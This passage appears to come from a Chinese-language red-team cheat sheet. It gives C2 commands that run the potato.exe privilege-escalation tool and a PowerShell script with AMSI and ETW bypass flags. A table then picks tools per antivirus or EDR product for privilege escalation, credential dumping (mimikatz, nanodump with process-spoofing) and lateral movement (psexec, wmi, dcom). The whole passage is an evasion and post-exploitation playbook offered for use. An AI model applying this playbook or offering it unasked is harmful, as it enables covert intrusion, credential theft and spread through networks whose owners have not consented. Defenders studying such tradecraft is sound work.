execute_assembly --amsi --etw potato.exe "whoami"
inline_assembly --amsi potato.exe "whoami"
powerpick --amsi --etw -s script.ps1 -- Get-Info
```

## 策略矩阵

| AV 类型 | 信息收集 | 提权 | 凭据 | 横向 |
|---------|---------|------|------|------|
| 无 AV | 任意 | 任意 | mimikatz | psexec |
| Defender | BOF/inline | UAC bypass(BOF) | nanodump + bypass | wmi |
| 火绒 | 任意 | UAC bypass | mimikatz | psexec |
| EDR (CS/S1) | 仅 BOF | BOF UAC bypass | nanodump(fork+spoof) | wmi/dcom |
Loading